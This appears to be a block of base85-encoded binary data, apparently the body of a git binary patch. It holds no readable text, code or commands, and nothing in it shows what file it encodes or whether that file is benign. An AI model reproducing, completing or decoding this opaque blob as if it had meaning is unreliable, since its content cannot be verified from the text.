zQByG6=csJI`{)C~y=>rmw5Ob;l;^i4aY)oLtG7FVFbeh z8r|}2h+JU*%K4rt7o3}LnPh9J7s~`%>culOuBBdV!@Kw<;I)t?=RdXRJM<+l7$A#? zshsqlACZ%z&RdEMMFaebr1}+2^(&$(zb!37@+M01BT|~YV9(_B%Zi$M7de&9mKEW6 z6XgWLFDu#^7=Bq%PwygMz^l@@C1ce<_mO8MY+se8`1T_AFb;_Au|8LS{%_qY^5%H7_ZMq_>23$HMKg?A=HH=GJM~a5-Y6Vpa321*AoS zuSA@s!?VfW`ohIJ=~u(+F3!&ShF&Ahub$v6j#exMCR=!ygm-H9T97?#yD!YnKSx;z z)Q_bXh5x0j(F!6=-ikE06@>pqV#IkpJNVpadSxv9YV*<)F3di7no7hfmIwEdl-?N) zt|2|RC(^ta=&wc7Z=}~n!!KW)y}Lpg`Bw2U%_k|6-W~~hnF(dF@bXCTlSsuH)B5Gn z^it<_^2M^r0S30(wktEGpQ=~mml87dTFmcGdR=&@-x>8}H>GKBG&80=ye?YNY8t*S z;=Foc_L&m}jUC)D%$9*q-qAXvM1{RCqf#wjZw@h0TjkV4w8S znK6S+<~F}yfDiA9R)8TWwI|!}#9S}W&Wsu2yqcZg-)~5#=@KYhe{gpTNmEyc9?;eG zwyUn~D*aR^!=I?1E}HLbx=YX1weYsHM}^w?uQL|j96kFECbNU9^}D{KIg)*_SPigU z?^tL%AL(c{EIjKdePiEap~Vu&;Bdq4zC*kVOz8u0@Hu^sh2M{!T^m}F9ej2amI;3t z4Zj*a`^M1P=-JnYUW-W_8vYo*h^Ci!yc`WLx;UFG*SGL?$z-=~xIdjx<%l{_Wbd^cwsS32zlYv`er_C%D)kLC+?S zYrfhh`AHCiHH%pIlSp`Vq@($w>@&p%tR~8%XGdvSSmFVi4x#bwG;Je&iDU;4(qZ9k z%CZ80tN2I@kf&9VjwbMMh@gB52l^m0=3E(UO^jzJAtyEv^EN@73^sEeFJ3)39Af*y(Dk!hO&YW!t5%9 zK}h09jb9-|15CYZuTH78zssnA| zH<3dNr#<{HtcCvp*dnyryDPkpzqX<4{YLUh4P2|1@n4%-M%pUU+9A|lTG=MawvboR zhmK}?(AKfg&$S{u-%-nQfWkWg)2_}56#2=mehTd(2C2e|Ue{*lAKRm7n<)xwY*xt_ z3K>Z2fke{#NOLUQg4|M8eOZAD0XXstd>^i;t8Z}HJ+YMlYbaEJk0~P+}E*2m2 z0u_Ekq(T14B%HKMEBIi9;#CIBT8gfvfg&gQRi_}n<^$r@RbI-T*`w?VQ&u#8O=bN; zu3sn;HY#c_Akj%ceN74ks|qs#Yy}Dl1q8@bdVpMOKuTtF;5Gt22a+&(sb^rhYH)@- zXy|T^w4GsE&HKh^ShPg0s0NFYNyD36d_oUhi2>7vPQ+IO(vp zXczz)4v&;=TFEmIA4x1&eW(USk!jVMZnG&(Ya}vxfpIp#cFtMRjg#ScDJs_ z93Ekz|qYWTcZ_x zz9aM!xgfhS%N#>;6ja$2N$-x85NNU|7T%{;MJl#MutK||L9Ag*w1Q8sVrs(%za`6* zB?=eJzlg2Uku*bs#ZkOmL>EhVJ$8&IMBaEc8}$O&uMfQxDZ#DY9jj=jpRtmTNP3w{ zfY1~8?Nm3BjF*j0dFBjNC3nVPF1RF;W?=hql*3j^sBT#V=BW4t2{3TB;T;7Hph$Xa zEZ80q@NE%rQt=8JPaw#L5};*JiT~EameOlHa_kC&kHsf&WClzsc4dbP{l{yOn^Vz& zngLWgasDXWQTGm!9(a%fP zaRFmKuc19->0P4qibzQt4sN7m3#`7vy7v_;d$=!<2vq=JOj@_=(%ZDf+L09{D=U^p zOZKDI87}OMprYu^Frz(SsWxlPWj#BwjyU2dZ2taYczi{;Lk^aayM1aD zHk&a|7)Ztx(=z!m8+AxWdqf?^YYs2zXvyAvmH{Dzg?EFuHV^_1+oHj(%De&zTSW!C zKo2!^A|7ovV|&<(hMSEDcE+;L9O1WQ7025k80=I9q%@KgQm)zpoq|IP!n;xRq(`!M zAL~~SR1GMQR5VhsgOV$tD*R97tH`?+qUG8mdXPctAiTAsnPM7;tcYdjn^xF%7t>7~ z%AwyN=UUYYN62Y_Re~%1hRv72qI9vQ_)fs+>{tjC)28(0Mf!>^#|k00`h6`H+-Vvp z6zZ7_xV&T#qV={`pI=fET6j||%C4yLFuin%mT zrX{9U^NO-wid5$CZyL~DDp#pR26dfsKwYa;QMI=nuG*F>=G8LMZm{)XYj|!OzQ2+9!OeNvvQlCn+ z2*M$>9#ka!iFKl+HRVTb;E!R~{_1>sOg|N}?5gG%s#*l8|K`awhjxzP*s9ApcEV4F z$$B(vRlZrabgu6fmmu5Jm#++y^xyMVz7%@W@4H25t`dtsDlsyc&yHa+tdqma!EA#@ zfbIORa4b`3J$i%_=~rfPs><*YBjGJ7V|$5emN>REw4|y|hL_QFd;kq`ENfMrjtg~& zc_y2owLu6RY-T@DAS(^pJ6ctnVKPgMTvJT;gE&xZjuc~QqzP!uii0qgd@P7%pBQG_Lv=AUt0qE>dR`(o(tu{5G;#37*->9&QvaE-a>vpi z$24Al9V5Fs7TgdEZ;ho_$YYB%zea^`OKnQi0}3|W5v6hAH|3QXeIMp{tG15j@NUg& zq~k--;D-rp4NcyHQonqttWKsd7QC_#hk?a{lS5Yq#F6ka`@#dQ7x%ek z)LEsi7ng2%d)cDai%o!Z>&1PU*{PLJ!2*xE5+)p{wgR z^Q!0sAimU(^UXNj&Y45t@;}*`QIkGB`Gj35<^*n*A>Fe*!hf$E z#&uX3g1RbKOfEL}K2Z3w?CEF35d(AcIY;NISYlC?3G!zw#Mw(RC`Ft(50HvjbRJAd z?f@Pj7P06&KrJ?G^8mS`Ar*&S(NNrdo_#UuXK6L(c<6z%(}BoCIS&w?h#VfEyZ{lC zt_Lnr1tJesJV1N^@h~KN(Xi^umz)_f1$d`daV)+9N!?%5Z$JL$st6;J(cE{OyIGFV zO9Dnir3X;4OktTD<^shpm+lDf80Zm=nr^Oge%+FIyO14$ti%>Izg?KAeY$8lM{%8H z12uQnEhFl_SZfA^=sWe$;Qg*XK7T6(`f#CiH2tfh4C;TpGJ z`-0$B?Px8kI}S88HG74LcZ$-lY>z))yQsA{-vV9pS}(d*4`d(vkD*Pm2?_{Az_l3B+&t(gtS-LM|7ZNtWd2Yttk8{Rv<&3lDvQjj%v5kEY?xY_pK<;+k zT%xlExR2}}qUFsNl8k>$vWX=($AZ={VC7b4oe`LLX@Ix#5Bc@Bn(Y5R0&q7vgUgfC zAGE5G98dhRTPW${TtstkI}10Z?0YdEYqF0&@}%}bvEOBy$y1$fagtB-QAf;dc0De; zie#=rQnc-hOJ&?sQn~@Hjwx%xwl?c1=I&#hb?D{+jeCpY-TJFB{tr4k{f2`&``$0< ztYUaomC$eej-;$IF93?N-nwa%TL*tdTqm$ghGOLk)L zd3Mghj2}b>ejFdSW8^pj8U~+@#&RF#uxRpg!OrQ>8-_9T;H+rn&WtH_FH?q8lfnP; zJpO;gP6pwhFj$Lz)d%`VfqqM&$>jLAdzqY6lOSgvGTDk{Mkl zGf3^7`jR@j$kONi3EH)0@6oZ`7|k9)pdUQQX8$|TCYC;P4#@u&2=A->2)<9yuPgtz zl;6;2`T_Yx(DirwWU*B3rThcQ?>?T?l4w3&bo|r>Lw`*W2D?tS)E01RbYp`qXR7^J zA-}Ak-mw=A*CW6GUAaT??3{^|ZTurFV$Q|g{umL0w%kW%$+{|V@cG=IBhTgejadxa94F^Xec`& z=zdHIZiwP8EAchwp?;l+i5>2xr|jR~nz$Y$>0dl!zE)@I0^?f~ai!L~zZ2+jpT-OQ zZ-YbCaa*&nkX^Lo3%$3+$HJ&sK&- zhwdjoH>%s6dVG*OY{=WSwVVINk605rOTTa-p0pM2iKjlSEfuUaC~o~e4HU>L47le4 zNfny5*j6RDW8-0v>}OFAj`VZ6XeQIFdXbvyH}r^a7@Z3;POqc^#crQh_w8@tP-(?Q zr4tSOI&)I}uA&XC3D?INk6Zl5WK%;T0DkL+wIuFTT1z4*bi*MniC)^`*OK^z^k7S3 zxBa|FKUg^~((~?`l(%!ac4wc}&2DoQi)AeKxg4Xs42wP680<&uoY}$JSp-xc!*RY{ z8T^f7W(U*9zJRJDvSteS?|R3`T_$C2h|A6k98Y!GXUl<_P6&H*KShmo&Gzq?=sx9> zGdsYlye;@C)wyqf*Qvy%iL!%3=~eN{E-{XCsf+$}AFCHeSH%aqT;m*fs@e9XuxoOP z8H;bjRlS^@YoFfI6h}ba-YBD-SHhv?Ly3Z1_^<}UUi19x8i}QNiuCkMQRPgcFYz4ijAf9=)7~SdDqx)|*+p8j7huZ?Y!zkR1 zUuv@%gLRqud4^YOPsu!8RIV-<9l=Jv?7h+%kWx1dvt2OO=8j?me>dPATqx)LLpn{U zo#!*Uf##&NvpYhF(I^ZVX8ojUp6A}phT5vCc%_k?n~$uYC#iruH<8)I8)j2urqTv^ zi|8K)5N=0C5?mNVJ2^X&^Wkb}(Cf$s0`P@ZQ8s3=*NMgoE71(>$CCPPhU z^2k3T9rY#P-uZ!=q}{7kkp#ER(Ly%ZP5|%R99I>nJ+gkj%~{vm%57jrDhzDSEPNM7 zS%ON?y{ z>>;em^~{O3$FsKG4J3<};DaHi`x586=3#6Ia$;oi{iEm^Ju&LBh>D%(QiEtL8shN! zc~W8E_u4~A;N;$COAU+MWm4}mx+;F!v&Hb2VHkIP%f9`&Ldlhf_y}=QPtlS37mt%| zc2fV#i&c)=f%jLXa@M@LfmqtjG$z-GqS~wL=j}Z~<&yo60LVP)$v|DihejJ;jMLhq zZ#i>zY29g!PsqWz;Jae<99ng2T^}?}1bp2gugFQ>L<{tKWSL-bTwF5L7qHMYHTiJy zfZ^O~Kq!YcgG`9yK}@jR^3&TuBBdi^1uV4&+*E_^epSi}*V${Z-PuzhCc&v(>n!9? zxn%-!J-_G#Wy?;4&b6Td?)LllL22>jfZDjOi4~h>w7;Y%J8l2IefxGUt7t!|o`1ET zj-e_2zxsMAjdK6UHw)rUba9|5o>*NNKaKlu8^bpTZ@|R+$`h77c`7x9tPd&-(ceNai!g!zL?tXJeqC0Cc$34uMC%JaVFmwV7 zwotmYwqO0cLejtMBo~%4j+<(7eV5mVc||bB(rqrqMVM-`^NPxaEbceJAE%a{6u5`? zZa>3vMqL>-nJ&cAo9hnSVK|h-g=V#i5H+G|-C=qhsmIzf+btbUOPYEMoqoZaEm%~0 zg3nZSM|FFf)Z{)g6aJr*5=SN6!-pR0%s2-mNv_6Xyxq|pq>y=0S6R9@EEVD4)iGf5 z*JO$%_t#YbBgf{+qZp-H4H_|ivGNineYZhDP9xds2bFV6{D4&g@?qUi!PS^R-B|i? zdF?g%x<5g*l1;VMjZJ@s#lL;6SbVg`#Tspm3XP3pI}MkPb^j*2%5)*GwS36lS6(Ef z8@+4?5_kU(ITFTwV|v55Bthz{t{p5fOf@5E!scz?7Uq(-@!IH0vetk5V9EN`?N+je zTFJUVGWuc}A|1rPd02Xae>~3iA6pY`JYh`sAJ>#lyu`CnRl~#%MouQW&QY4zcv@b@ z^HnO1=uO-nf0P~K^kpIuyw03M8rWy>tmx!ximLj3UyV5TH}80<2urhA@xb97vx}VA zws`i+0h*JuNP-Uy8&aV=e6sMAlKN5|=7Z>LCSwv$QMJ1q&se+9#zY$)e}M#fYR~gq z_l^1&2hqzwT{sWn*-`;&?mR4Bx#iB|<2WRpANO+ZDdY^}JQbHWN_Xt5c9P3E`VzcM z^zlMSc``H$B+^tkWk?{g1&a72Xh?=`r(Jcdz;8%w3!>DApgGx)pCfrZn=z|>6jz6d`N@wC1qBobDyXs4&rbd-!rKyFu1e5(h$O#wJ@i4OP$nk~MR0 zQMu5c^GVFHHtfl>8s7LMIw#NjA$jpryS0J)8;0KAm#9*Hg_UFP5c7(kCVxe3_sy7- zs==}G&ft$7kGbR*eGX9w%DvzMDWpt3x2T85w;#)aL*qQ+&vrm{$?v;#pnAl^A)_x2x zGxIPE(4yI@{caS;M;_)Sl-EEoinG*0eD`_0`%2bH>O2lpp_7c!oyJbxEcn*d>e$au z%qcRXh}^+%*6v(bF-)aWfI0v-0%EeQYBBsm@=P9)&X2Z#0zAaAKnS=-Ge}S$f#7-Slu`xja-)y=j8+%qXFb6<%}ud6;e0tb-)QGQSL#KZ!u=-M#cOylh9RFY1cD zv+Q=-?A)htg9+{*{|^o~lNEB`beOrQ#Q|8G-S?S5P~uz?>*tw~bKMA$@nPz>L+PMf zv7~@{voev!p!%QfDIT2Z<#uxVrkwFHhEBGyd%|BSrFwi^Y<9mz6MgmRb%+T8q`tUK zOejdkhH9h=UnsGgm#Ee~k)qz0`JBTuXa9^t)ierEZfDk(|0XH^G>p%-LGLos?R{Ifc#YL2}<-JC^ zc=p9_V(8p~Or6IwJ;h@Nqb`#I^L6Ef$DK-Zy^SEC@t<;3{&A(Mjvc5cYSOK`bzy*8 zG{v02YFzln_Q%LSjr=dXj>bU%&DqM)^sXK6P$0cAWZ zI>|7^w=U4zS6DKd@uayD`<|QW>>??}m-Q{(()gw4nB!}5Z{dR|EuX?4OaJe)V5f1j z(vzX}qp8b!J!9P87>{m#sF=*|-Tuqzdbvw4@Y+O!Y^g-CQ1})1v9FuqdulqOqqZ79 zIO@c9d3_;V{fpI81A#$K@_Ym>o_JB-2}dQJ$(!u>Dg3r1WZ#3{2|VXaKZ>{=&6qEJ zhS)wc&rGOg?h}xf8STFjm!K3|;DmtCg6iNv_~6_-H8&@3;bEfkP2D ziE{IP2KdZ<@;oZD$Pa-s!%MVE0sl zBYzB5C+!gkJM8^zd$Ex5i?s^-Ia{$MQ6zUkM&pc4`}fZ-(stEq$C#$ZU$+X&<3d57RQC$>_|hSeG4B=0xGf&q`ndr8Tr z?HDioo#cET@+F)4l&OI)kay#^${%FT0)#P( zmNM>Wx+vuS!HiX$)Lnq1QkBOxT+W;C7}>#s9VeI`hFxwN_9aoe21~rC*Eir^b9!t!)3~5Ee_C-l)aPG7R%UT z^$9ZW=rdH6p|g9*omSUObUSY42^ML>T;_Pdz56a-6&VN4{XMmtT5BD_m}pabKd4MO zIWnuV?l}DM{~s_sl!LUS<6l%Cj}_m%aH;xe#$f6RZ0vWK-X1}3y=|}{&SDbeS)SKa zgYR4Hb1ylKEUy}&cv=(jGG~)%t11cOkwjX08_uom65{45i-;d*jNbkT!mvv+@0$ZT zBmJWA3J4a~j0focW_C9o-9F=afo-OEOH7>%QjIraRKICdJk6A(ypg}3YCAT-yNRrg zH_=(Tl(~uaZib_b5)JWCO>N_@r{y4lIk%MYd9x!=tjVTiYqk7wuLeJ1Duzdo|4u=` z+X=Tc-fSUO3gX{El0?TzeuNA-_e43cQFad)a}IqFW^3dZT1R3%o)}*TN0YWIMW-6hISUrE8@kye7Z&ZsiZ~f_g~}O zQ*NKCoL?TplP&WN?>L^tZB+5>6b7m8)!(vqX9gb-yH2z{V(=x@1{TZv8L4^ti=iLp zvrkrc{v%-H0b(`$*@nFftT_GMiqnulZ9l0AjTZw>@^?~;KrnL@Q~$n?%Ziernz7On zcZcHq;@>pUq8PJ>QC`u|+4~+O!Eb4)yUfW{LOQ0MdHJ;maJQNd$%e2d?5t2cfsn_W$EZ{+GNu7ncFy4|3LAAy&{r9PM@ z#!ZN4(EIK??~!^J7}lWd<0oOI^UQ>c^UIGhx_(w~t$CL0r2pj(8*Sz0GOmmFI&h1- z+vrZB73jc};xM|CtuDWx*|{%5`IU1F%9A*$`y2O2K^&=$7~Lr=Z>-TzP$5bJFQ^r3 z;%{S~%RW8Dh_i>y``H~xcW%nz2rR#M1F+TkiSB#M=c~2v!3*ibC zWu`-Q!)1i%(|dU$PZh z1#rQ;hK$MaSfB73P&}fIPCCgB{_=LI-s0IOLNnJ&!M{c>Nyer0&38~Xb9f;sgQ=#5 zd}H`^2Yz2_^_kG+1Zl;ycZAAK-kR(qp*!^X8)MOaob6=&gLvVCp>mRUBtucIHZ3)= z1hwp6N550MBF$`hN!deYB4DR`F|MophGFLS1NU6x%FYUvZ}m&)u+7cx*nt{F)IC@o zd}uDH7S9s{ILjbf^9ki#Q6|QtwrN@n9a>#mG;~y5pLhm0v!(tv6uOz#wjG&e`W@cU zXf)8MW&xyZ{R=9}wCA7Db*5zfT$Kci_0oP*q~)i_R8y@^LXjmu_Xn28L~(a_VfRaT znWf7i6AE;tMO59f^m5-l!h$HSVI**-xXbTJJl#xZ7&t32;I5%lbh;JtnFJ@f+7NNR zA(GqYGFzLW)PA{gRAA_`&3}1hi(p%tyZ-COM>4NY7FJFt9+6%9dL)e#6R_zCl zXCYzTWCU~{db4}IHisXDow!TkWA9%Fd~f`v@P7#PdAFlRX0}X|Ee(29p?Mdd>rCZL zj?3Vk`hY}=#_;a`e3A*hIxa67sXc%XukoJr`(p#L<~$=gs$Fe3Ld>@*o_V32Da-IO z_pJ$5RmLgU^_;k%%z#(64etDt4W^QB(jJ9$%>?_^g)c)>f4`^R^#3(B27>#r_L_F~1o7tpu@%5bPV(5k$ zcSvNYVKB+=8#R_w#^|NZf4M_1^LVMwPB%&ncUO-psF9kPhs*ROSP;SUXJ9gzG{iiZti(AUu^ zJy#2vn|G)u>)fk%nP13Slm3MD8dhnTs%z+7!-#zk#*b6>(KlH57ZjIL`@78146Hdt zbW#!5x4!TxLeMoM7atC|2L$#rdjC|&^1={J5_MzXDKOxLNUKgPFkwk`*Rn`#v`+06 zk@^LOl68F>9}%bbi%`}mnPp><9aaYY5$ylgTA-qGcQEW^*$7g4*a%=>An&`bBVWsq z%$Mh05(=c&)Rr~2s+KubTrEL(qLkSU)YJ87W24glK)OvGrPO;GpI2%_KJ@}pJ!TX3 zyDwcUekBBIotyqx*xl>~Vda5!Z}ek@6Z+~N{+bqwMyP*Giku((CMb7O zGYr&u%CR3}-E|ntS9;OGPBs*YAeJQW0*ceUF1^IP5`kNA4k_uBt$v;R)T>O`+P6$b z<>N0*y{q2*ueq}%{y=P*a&eG<&VhI_yZjg z62eXOjbZiDN&QhBC731ikkH&RL&-sffqYE|N%DIJ%WAM8R%T+oN<3#KtO+3*bUCm5 zo6V|v15oPM@2koFfU)qi8Viq4n|$G>#)3y-gkj$i4?Zj6n5YWk&wIPScvLgs3nl?X zTyP$~kx^__`RVu_?)0DFz+v|Wk;p~_;}u)Ydo3$}966~dVc#;pz$#{V2a_aU!?{Ws z+l_2Gu`O;X;XdQ1KB}qq-|tf$6Yt2^@&5SM)G>TGoTbZ@8mNEncfRE}24!iznDh?! z)~gjNkePy!k7tRd<=X+k++9R7W)f3iGL9BM@7@VKOgbu_$&3}7X8Lw8KQM+zmWFcW z(k8dNjxngr-uf#^^s3IC%d7pT|NzJ3D@yydA(D=iT3_>E|%x791e0LJ_!=f5yF(?0- zzOC`fj<|E#VtZiqmYX-i(pA(EFMKwxpA?st{NO|<6%kPoi9oz@kpHjx`TWxh`KNig zr+9jPXbN4aN#7l6;5WV?_eGPV6G^F_n@dSI8BUm@+zew(sRu(3s8sqHllS=_L&6$j zcIrtSkElM(@1Q}Ex#LN1Nfrs7WoqMLLEf2TEVoar&2#(v?zgY%PPFdXkMN1arAc8= z>_~RE_GdO*)mXnQ`iZ!9x1T9ai%d&*x-|%oq(=F2g^gsnM~z~IHX1sUWU>R(e6G(m zMUsZDabF#caG6D|9@>Yi@KO~;Dq`mK41`=s_cxT_gO(rJQ{>+EO<3PoNPlA@>)#a8 zCrq97kd42fHH@!a)!iiDnc3lfjd5^JF=@U++A+Mt=qK^`f=-JSC9CdV{>A!&_0qTM zrb)-5a8RsKnC=rygU}qv8pS=t-HAK7t$Q};lo$~ z{xK-Fi{w*nnp^!nvqP%!M|%nhtrX zjdN9cJf$h>o?+YPq&~%@duLD*E#xHUzzp0%Q5b*Wr0QRV^ndm@#GCgGlP}S+J3bH& zYR8-4{gdpJpnL2OxE6e+XW>RIG{S=@u@R*eP2-@11n_q3Uq2y^O&cWdfm>O@U5jjr3 zS#9w}24!LP`7i_IF1{u=A5{*jBt^x*>4CxLnIiOxcWL$Y2duvOGx4gBcA=jd(j3ls?gxz2D`*uA3+!9+>-xnGMnA(c0l9Qk>;%P;CdoQovdw2CL5nEs_$iPQ*!$yP{p=Y8&$zgTWYJ+jC;jj zXdw2P3VF>%@$8niJNAA)nM~Jl*I&f=bKa?x)OgWyfSbTs2Y#}SWD&|zCdC{!9jy8{ zj&UcUS(HCUhOQ^__DWAK;7*ypBb$= z$$@lCYUXxg%lU4wyW_%QHY7~z?5n0H8c25TOI#%d(wdm!3!jZZMz8L-!#>#r%coR3 zcNa74Gt^C%lZTVXJC#2#V={+3jT*~3v++gKx-t;X-jeYd@z!ECR1MpLI4 zp!0#2Tg<+ZPu}Sy`1orvEe&|g$Q#>z_jZYi*kxwb3m zR(RZH<9taPM$hvyhPiepfL2kD1#lV)f0M&K`!>tpczU+=xnen?b^iy3@Q&lNd+`W? zMv7#JPMt2nU*}Fkna(upIoz*Nlbt*$GCG!incJGux|YyPMorx~8+~)YM9KpsgqvbC zCzTO_D+6`caCEbi8c_&qWrff5*Mtgj(J)%vIGYeEw=SP{8fjGuO}`J)MiyKq3?q+> zP~KGGK75WOHU+r{i@=D)?M1iMWG4~&q{VjUxr>S$|4yz%XAyIj$L$C=CEnkWXgSq= zlS$bf7nKy$9+625qJ>(E{W&@uon0G?CD%L2O5PZeG+z2w6XozI1vI`^ck;7?>^>6L zO?^qdK0v)z0f~!66|E{a=L2T$8W+$Iq?~S!F~H`zV&J*p`!4+#uWWUa8CtD{AkAb* zasBN&amPHv>L`G*B)h*=8Y)sRoaT^zzwsp@q7b0!uqK**NWF}2Qktx5T+UZ2efJX4 zeV$#bdB*H{X7c^_m6jXI4Y0<43exlB6e69}X3A$Kg&N;6Ae#5}PrQFZqU8+tesW|c zafU+U(Q_!!z^gN7QU&kF^Pbo=$gNWntvRU^dY#`SqRqG!ls3D)8vg;b?8NWUrprvh zE6W$W4h90M_xfaQ3 zJJ5Kt+EI0y80qC57ZsN}$$t6dfhKt&H~RKnpt+u*C6l>s0Bbq;<<7aHiPv~4#c5CD z2!!=ZK<@UJUQh`!!m}2Q4=T$rviR~mn_%X~RrXuGzTwZH7I(VaArk|9?>VXF%+rS0 zmXhw6>9E6IR{ae(j8G|-1oyl3hgrG3g(5YGUpe#=cUmW$0H1pfu^FW9QD5bOkxp!< zcQJ2`4U(E+rwRd*q>owK_Wmw2v&6P-y%P2+=kG{xzeG-YWiz+wo3%B8`rG^Vie|=z zoEaz3q`0%-lD?X>G5`9;mv^#@+G*IsYd+QWQ_~xO9!+<08RAI+hJr{OZ^!LVbe1PR z=t{I+BoS=V$q}q+BsxEA+(bhX1Rm@r-#fA6UP-)Dz}PX8czaDQiQL?}*7?4DSB}!e z+iMfeSCDYrGS)SU6Yp$DER1p^8`2#~G+!A>U_RgHT#!V|Rqht{J(@cZ@!uL17Xo6| zDy>0y_&@``!v_ju3%zyulsyBK^0GIFl<`cVNECOoFhJg! z`i>zAh@ zmg!f!GY8}z%FP3Vnju3+vD@sWp%?P^<@(0&1LZ1bRy5RGu&NlC$`xpW8~i!1o$miV zWtXXjAp|nNV}Yf~t&YE1#oe<|?z_7pWzF+fz=9kp0_SFh?xbXH+P?5lfxwHxb6k4Tt{mU+zD<3)dRz;^H}}-x;oB zzKf4KVWPxcalXG^oNGoYlIS;sNEei2t|?Ax0dLy;zG^Y0JG$ai_i#Nq2LCaW&SnUu zGs{yIPrv1UJ81jXv{8w7gsO~nYmGiwr8c@x>=y$fQG9OfYo&j{MM(d*0EQknXp~-r zEIy~}M&`x~SV)DfKIL}PdDcfv3SM3tujfOeD_F^DqRp*n-z-^Ay z?$;j0XTKRGoLhgPG2-ijy1v@=#MA9{ulNlN);6*a`IpjQx$-6|#QV?;F#dEvV&Alx z)9N4e?go0dKa|Vlj$`T`Vdx*=UTt4t_=7!nLbM=HkQ-TVhg7#}B!;QBDq5GkY4F~Bqyh<91| z=Ue!9=*`dI$u3Qlw|G<@Y+Dr*hO!9WtNJU`r4SC$LZ>Nb72fDc{oHO9$_JeI8h$Y~^{ zSEt`HGlk7wF+0hdH*s4xK9ak17zLlCAes9q^S=I{pZQN@_LhG_i85*P{EIUFN^SZJ89he9xV(D(9j`*n_o>h3uU7us$e-hr+FKhBfw=BOl`H`B zjSna&>U%0_YB-h>@rcb&?@E*|XC3@X?BClz^Ua41?S6lHPRO~N&cp<}wo=NYceEfCO`bFyMdvn z{GA>{&p6s`fZ;pR-Jf12ZH6AnaiV*jNnzg5B)dzPZbQQjHX06|Gweu7X}F85hI{;c zSSsNT{)Ry1P`*e;qL=&Rx#D2oTlf>pWtu0rW~hD_b-izH_-W}KXq^$jyy#!cj6h$E zSG;vbF~9o9X)cX=7Q8-Qe`X&2aTVtp89$}R`95h~qs&Cv&UpG`_nC{kHv*~F6+;wL zpo%y$1da5x9*t?yMAME>&}Io+d4}_c@@M{V^w0t42kF3)J;1O1ay;8;K>){n>>QNc zd4byF@<6U-p3y)`yi`W;ORg%W<2Spm=9k{E?Z+)OF(&EdoH{d;9w%REnU+-Vog|VY zzlU?OG*J+6$I=JQL?|7qm2qHGUvj4B2}ACmm;h}^lnPl`i$N>}#UUMW)23hUxRWIl zwV^nJMiYW~g`Y5i1QVYaAwdgB$1&#d=gGBzmrnE%_O)2wxF1+zd*JpCYJ z>TgZdlTH8JvhJ2leMx;X?v}W4(afIxDX+94*UWM5cNYOaF{FU0I`tmTRl#tRDFy!A z#9mX|uMQ;LI`=$~>D>whAD_hU?6gZ598fprvapgo9c&w>mr$g zMsWa2`%GSPjF%l1DtG3riM&W!0A}c?m5kCZE)}dNfrz^KA%p(ybjCQt8=zG@JLc#Y zXMd=f0S}6^472^Q+7*!neP{mPv6J zYQkKtX@UB>%&#ar)tm#;QPFl%J^wfdg!rg+&0g*(kmh)HgpLB~&`}_7aTJKTN)RW) zJ$W#&ejsk?ZzbUu_m%Oyv!~ZzsYo^ z8No4MUYl?Ie)l_HXT_vjzU4G^A()gu#r?-_L(mhev(M#aQ5kO7!3eH=>o_(0!!k51Vsc(W(o{Q`c%WUd6yX$2 z!Dz$jM@BO@aYmSOM4I0#jwCiRv2#@se8IK#c z4eX95Jm|e9Gh;4|ix$pMJ#h~0FYF!PxvD06*~!t_U z*Ndsak6pFeYFoFs)v6o56fyylK>bLd3RBAEb9$rcv}XNcl|ilmAIrYDC_Uo6wAZB8b5+Ib{sz>JJ%3<6?h^1o zwkuj!<7-_MUnM=aPm6E@ce|yA!TlH8rwuPA;H%{lxOts?YWuViCGFEr2)9ow9ojza zQxSYN$=_f(>tqhvr=2*WeVS3)KCR4XpEmNO_Gu@5x_#QoV+Q$lhVkuOHCwtQU4`*z zXH}Gx8(mf8t2ngNbUNkJXWu@=Bb%kvIkeLu2u!JwBvr?r68b6QQ-O`;EYp~37Bzgc8^hOCSD)N5NM{~~BX*?PB zB_ZK6tGl_GJvw5>x>MuhUV@O5c+thj%yN?*$f_e|II}yXAtPdXVJG@rJiD{FijdQx zHd>+^X~)ho1bVfcFSExzPXIx5 zq;qwch~f-nO6eyxa(AH-GqgjsvFNFw>vX-~i9{%Pg@G8EV|-fwewJ`6OA{n?r2ngn zEz(ZNO}y^IT53sWi@p{2RxB3U>)y4WPs;8a=JZ%z_#VOs4WH>DIN*|=bXt3cYdo@K zO>xu$Xf{ZFYlx~4>rB6K=uehs-ZLco#xQxe%KOGywF!bFcvJhVyFnIayc(lNa#$oD z`+aH>Dd|n;B~>(gSR~pVkN)2KYTtD4^m|A~I>jr!j{zc^w-J^zxjo`+CVV-FH5^yC z?UGX%)B(d14ly`PFfRY~^`(3YD3--)6JCp>32E<=C-$1IO?~JFGmxS9CvDNhOu97+K=6 z88UPR-_c+VEnHsRe|cGO2_772pZj0DQDrZ*zai(|gd7=ldnc|q&gwubPbjx-}v3)p_UXR%#6t6p6OYiCbAY#{) z_3{;L*VXM_=}|5vuogk{&5~m2uf3=QN^z{cGDLWELZrvq(tCy0b_@Y`EA3;arrWhh z(Q@m_t7JA^HAmJBn-K~}MQ}G)Gv_p`nOph@A818cV({>)$Ulpz&tZHAf$fDd$q;N} z2>||Pxy_xyBkfu*9-p}~ZU^r7f==xXwR}U!St)4X{{&Qp>v1ErwI&?=wcEAagB;CE z_+{$&zj)0D6cM$RV6Q*n9<5TBF2Iz#Q(sZGmn)~+S~WEI>p!ovf*3x-q!i$W54IJj zhS$iw0yW2XO4^43$F%}ey2oB1{qjS1OZb6W?NG{e#Z)UrH1rm-(b#D7I2{o%XG0Dw z5{~(?-t_B)wW5C{z4Gs1FEC-p51nXsa3O>V~NZks`B3HTJ_$<%K^yH2*6^cZ(+7e_=8@p(qR$ zPGK%%oXZ9|_atlL)NpEO<%J6mE!br?j;m~37)m;Gij%RI(m#{2vP^1+FxDxx3q!~q zZ!s;x@tQz|##sGQo_fz%SweEo;+kj|HX25WZDR{n`5IE7$%15tyN|@X4|n&*sbhww z7RO^*BXd8M2+SL|bAa=b@Jy959meFzPrb@gQJznz#Hb2lK`2r&J<;=z%(rIPmkBb|p!hFsP7y6%BeUJct zpB7rfKDYcUauIFg`@A3Z!Gu}Whn!X>HS-k#4O0_JRPX2hR#nlAZAndx1JZ%8GC!bi z;K8qqOB(dfzdgF$s@{%_g3&&-ACN0hTXpR+ULel)`~heTnc}tFHla!d{aM#>@sJTf zw78+7A*=Yv2qKncuUGr0^FmybNI%=r&`8(v*U`|#70^XuT=@W(RYuiL`$*ZM)4ZAc z*IaqU6<0W&hxWj-_nyJ0kNR4)JNhg-d81xM8Hror&Ma3 zG}2L((%+O8Qi!Ve$Os2Ys`yu`HwR0rT2d8B3C@K`% zn5-Xng)}R!MsB?tRJ|UQt(x`AL*zXxf=vv-dbTQ$i3qqAOeMQnfJG&CdMa3 